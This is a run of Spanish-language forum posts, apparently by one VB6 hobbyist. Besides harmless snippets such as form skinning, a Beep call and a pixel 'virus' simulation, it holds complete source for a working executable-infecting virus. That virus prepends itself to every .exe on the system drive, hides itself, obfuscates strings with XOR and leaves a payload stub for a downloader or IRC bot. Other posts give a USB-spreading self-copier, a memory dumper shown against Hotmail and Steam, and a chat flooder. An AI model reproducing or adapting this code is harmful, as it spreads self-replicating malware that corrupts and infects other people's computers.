Encontré hace tiempo esta función, no la he programado yo. Sirve para dar forma a los formularios según la imagen de fondo que tengan, solo tienes que decirle que color será el usado para las transparencias, ejemplo: vbWhite, vbBlack, vbRed, etc...

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long
 
Private Sub Form_Load()
    'Llamamos a la función, enviamos el nombre del Form y el Color de fondo
    MakeSkin Form1, vbWhite
End Sub
 
Private Sub MakeSkin(ByVal Frm As Form, ByVal BColor As Long)
    'Función que "recorta" un formulario según su color de fondo.
    Frm.BackColor = BColor
    Tmp = GetWindowLong(Frm.hwnd, -20)
    Tmp = Tmp Or &H80000
    SetWindowLong Frm.hwnd, -20, &H80000
    SetLayeredWindowAttributes Frm.hwnd, BColor, 0, &H1
End Sub
 
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    'Permite mover el formulario al hacer click encima de él
    ReleaseCapture
    SendMessage Me.hwnd, &HA1, 2, 0&
End Sub
 

Usar imagenes BMP y con solor de 32 bits, así no tendreis problemas... si os preocupa el tamaño final luego empaquetais con UPX y problema resuelto xD

Saludos!!

He programado este sencillo efecto en VB, a partir de una imagen te genera otra igual pero con los píxeles más grandes y aleatórios, dando un efecto de "marca de agua" muy particular, esto lo veo apropiado para poner en las típicas ventanas de about o acerca de... de nuestros proyectos.


Si no os funciona, bajaros el código completo que está adjunto a este post (solo usuarios registrados), funciona 100%

Saludos!!

Os dejo la sencilla API que permite hacer sonidos indicando su frecuencia y la duración en milisegundos:


Para usarla solo poner en cualquier parte de tu código:

Beep 150,50

Así de facil!

---

Os dejo unos ejemplos hechos por mí:


Y como siempre el código adjunto al post, saludos!!

Buenas!!

En una de mis rayadas de fin de semana me ha dado por programarme un "mundo virtual" de seres pixelados, os dejo una foto del programa:



Hay 3 clases de píxeles:

• Humanos
• Virus
• Doctores

Todos los bichitos se mueven aleatoriamente por la pantalla, cumpliendo unas normas básicas, estas son:


Las reglas son sencillas, y como todo está programado bajo Randomize... a veces ganan los virus y otras veces los Humanos, pero tengo un problema, a ver si entre unos cuantos lo mejoramos...

1) Si dejamos un buen rato los bichitos enchufados, éstos terminan agrupándose en la parte superior izquierda (hay que solucionarlo)
2) Molaría añadir una raza nueva, por ejemplo Mujeres que ayudaran a reproducir más humanos
3) Molaría cambiar las leyes y poner, por ejemplo, hombres lobo y vampiros, etc...
4) Estaría bien añadir sonidos cuando infecten o desinfecten bichos, con la API Beep.

A parte el modo en el que está programado consume bastantes recursos, sería bueno mejorar este punto...

---

Dejo el código como curiosidad, no es muy útil pero a mi me divierten este tipo de cosas. Si conseguis mejorar algo o añadir cosas ponerlo en este post, el source esta comentado al máximo, si no se entiende algo me lo preguntais, pero creo que es facil de entender.

PD: La idea de este programa no es mía, ví un código similar en pscode, yo me he quedado con la idea y he hecho mejoras (como la raza de los médicos por ejemplo). Saludos!!

 

Infección de Ejecutables en Visual Basic 6.0

Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source

Como funciona?

1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada



Form1.frm

Private Sub Form_Load()
    App.TaskVisible = False
    If App.PrevInstance = True Then End
    SelfCheck
End Sub
 

InfectModule.bas

 
Function SelfCheck()
    On Error Resume Next
    Dim MyCode As String
 
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
    'Separa "MyCode" buscando la marca de infección (**X**)
    Buffer = Split(MyCode, "(**X**)")
 
    If UBound(Buffer) = 1 Then
        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
        Hostage = Buffer(1)
        DivideFiles Hostage
    Else
        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
        Subfolders (Environ("SystemDrive") & "\")
        DoEvents
        End
    End If
End Function
 
Function DivideFiles(ByVal Hostage As String)
    Randomize
    On Error Resume Next
    Dim TmpFile As String
 
    'Crea un archivo temporal con el código del Huésped, por ejemplo:
    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
 
    Open TmpFile For Binary As #1
        Put #1, , Hostage
    Close #1
 
    DoEvents
    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
    Shell TmpFile, vbNormalFocus
    Call ExecPayload
End Function
 
Function InfectFile(ByVal Victim As String)
    On Error Resume Next
    Dim VictimCode As String
    Dim NewCode As String
    Dim MyCode As String
 
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
    Open Victim For Binary As #1
        VictimCode = Input(LOF(1), 1)
    Close #1
 
    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
    NewCode = MyCode & "(**X**)" & VictimCode
 
    'Sobrescribe el archivo Huésed con el infectado
    Open Victim For Binary As #1
        Put #1, , NewCode
    Close #1
End Function
 
Function IsInfected(ByVal File As String) As Boolean
    On Error Resume Next
    Dim FileCode As String
 
    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
    Open File For Binary As #1
        FileCode = Input(LOF(1), 1)
    Close #1
 
    'Separa "FileCode" buscando la marca de infección (**X**)
    Buffer = Split(FileCode, "(**X**)")
 
    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
    If UBound(Buffer) <> 0 Then
        IsInfected = True
    Else
        IsInfected = False
    End If
End Function
 
Function Subfolders(path)
    On Error Resume Next
    'Se cifra el string que carga el objeto Scripting.FileSystemObject
    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
    Set Drives = fso.Drives
 
    newpath = path
    Set Fold = fso.GetFolder(newpath)
    Set Files = Fold.Files
 
    For Each File In Files
        ext = fso.GetExtensionName(File.path)
        ext = LCase(ext)
        nam = LCase(File.Name)
        If (ext = "exe") Then
            If IsInfected(File.path) = False Then
                InfectFile (File.path)
                DoEvents
            End If
        End If
    Next
 
    Set File = Fold.Subfolders
    For Each Subfol In File
        Call Subfolders(Subfol.path)
    Next
End Function
 
Function ExecPayload()
    '#######################################################
    '##  Si quieres que los archivos infectados ejecuten  ##
    '##  la función de buscar e infectar nuevos archivos  ##
    '##  elimina los comentario que hay a continuación    ##
    '#######################################################
 
    'Subfolders (Environ("SystemDrive") & "\")
    'DoEvents
 
    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
    End
End Function
 

Encryption.bas

Function bullet(FullCode)
    'Funcion que cifra Strings con el operador XOR
 
    For i = 1 To Len(FullCode)
        Current = Mid(FullCode, i, 1)
        Code = Chr(Asc(Current) Xor 2)
        bullet = bullet + Code
    Next
End Function
 

---

Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD

Ir con cuidado, Saludos!!

Este sencillo código permite enumerar todas las unidades del sistema, descubrir de que tipo son (fijas, extraibles, CD, remotas, etc...) y copiar el virus en su interior.

Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
 
Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6
 
'Función para enumerar todas las unidades (sean del tipo que sean)
Function EnumDrives() As String
    Dim i As Long
    Dim tmp As Long
    Dim drives As String
 
    tmp = GetLogicalDrives()
    If tmp Then
        For i = 0 To 25
            If (tmp And 2 ^ i) <> 0 Then
                drives = drives & Chr$(i + 65) & ":#"
            End If
        Next
    End If
    EnumDrives = drives
    'La variable drives almacena todas
    'las unidades en formato "A:#C:#D:#E:#"
End Function
 
Function GetType(ByVal drives As String)
    Dim tmp() As String
 
    'Separamos las unidades según el caracter #
    tmp = Split(drives, "#")
    For i = 0 To UBound(tmp) - 1
        If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
            'Llamamos a la función de infectar la unidad
            'si es del tipo DRIVE_REMOVABLE
            Call InfectDrive("virus.exe", tmp(i))
        End If
    Next
End Function
 
Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
    'Importante, no siempre tenemos acceso de escritura
    'en las unidades, sin esta linea podríamos "matar"
    'nuestro virus :(
    On Error Resume Next
 
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))
 
    'Obtenemos nuestra propia ruta
    GetModuleFileName 0, MySelf, Len(MySelf)
    'Nos copiamos en la unidad con el nombre de "virus.exe"
    FileCopy MySelf, drive & "\" & FileName
End Function
 
Private Sub Form_Load()
    'Empieza la juerga!
    Call GetType(EnumDrives)
End Sub
 

El código está comentado y no tiene mucha complicación, copiar y pegar en un proyecto nuevo y os funcionará.

Decirme si os gusta, si se puede mejorar algo, añadir funciones, etc...

Saludos!! vuestro amigo ||MadAntrax||

Bueno, por la petición de varios usuario cuelgo el código fuente completo del Cactus Joiner 2.5 en su completa versión.

El programa en cuestión esta aqui. Con más de 1500 descargas por todos los usuarios del foro.

Para descargarlo haz click en: Cactus_Joiner_Source.zip (más abajo)

Y ya lo sabes... pon un Cactus en tu vida!


Saludos

Hola gente!! Os quiero presentar una utilidad que a mí al menos me ha sorprendido:

Code Advisor 6.0 for VB6
Esta aplicación se integra dentro de Visual Basic 6.0 y nos permite con un simple click de ratón analizar todo nuestro código fuente en busca de errores o mejoras. La gracia de este programa esque te señala las mejoras atraves de comentarios directamente en el código, explicándote que es lo más correcto.

Me ha sorprendido por la capacidad y rapidez de análisis, te advierte que funciones serán incompatibles en .NET (por si quieres exportar tu proyecto) y una breve explicación. El programa está en perfecto español y es facilísimo de utilizar

Descarga del programa
=> Download Code Advisor 6.0 <=

Instalación del programa
Los 2 únicos requisitos son tener el último Service Pack para Visual Basic (o Visual Studio) que actualmente es la SP6.0 => CLICK AQUI
Y por último tener cerrado por completo el Visual Basic para que la instalación pueda integrarse correctamente. Cuando finalice la instalación abrimos nuestro Visual Basic y encontraremos una nueva barra de herramientas:



Usar el programa
Primero abrimos algún código ya escrito o empezamos uno nuevo, y en cualquier momento pulsamos sobre el primer botón de la barra, el programa empezará ha analizar el código y ha añadirte los comentarios de mejoras (si realmente los necesitas) y luego para visualizarlos podemos ir directamente al cñodigo o pulsar el tercer botón para desplazarnos por cada comentario automaticamente.

Lo que me gusta es que el programa solo te sugiere y te recomienda mejoras, pero no te altera el código si no quieres, aqui una captura:



Y por último añadir que el programa deja un reporte del estado de tu código, aquí os dejo un ejemplo de un código mio:

=> Ejemplo Reporte

Mem Dumper 1.3 - Source Code
Como siempre dejo el código fuente de mi nueva creación: Mem Dumper - Un programa para volcar la memoria de un proceso. Está escrito en VB6 y lo he comentado absolutamente todo, no creo que tengáis problemas para modificarlo a vuestro gusto. Pasaros por el post original para saber como funciona y probar los ejemplos con Hotmail, Steam y CuteFTP

[Proyecto] Mem Dumper 1.3 - Herramienta para volcar la memoria de un proceso

Saludos!! decirme si os gusta o que se puede mejorar/quitar/añadir, etc...

=> Descarga Mem Dump 1.1
=> Descarga Mem Dump 1.3

Bueno, como sois muchos los que me piden el código fuente del programa, lo posteo aqui. Vereis que es muy sencillo. También pongo un link para descargarlo completamente:

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
 
Private Sub CommandXP1_Click()
    CommandXP1.Enabled = False
    Clipboard.Clear
    Clipboard.SetText "Poner aqui el simbolo :[ muchas veces!!"
    AppActivate "Conversación"
    Sleep "50"
    For i = 1 To 300
        SendKeys "^v"
        SendKeys "{ENTER}"
    Next i
    CommandXP1.Enabled = True
End Sub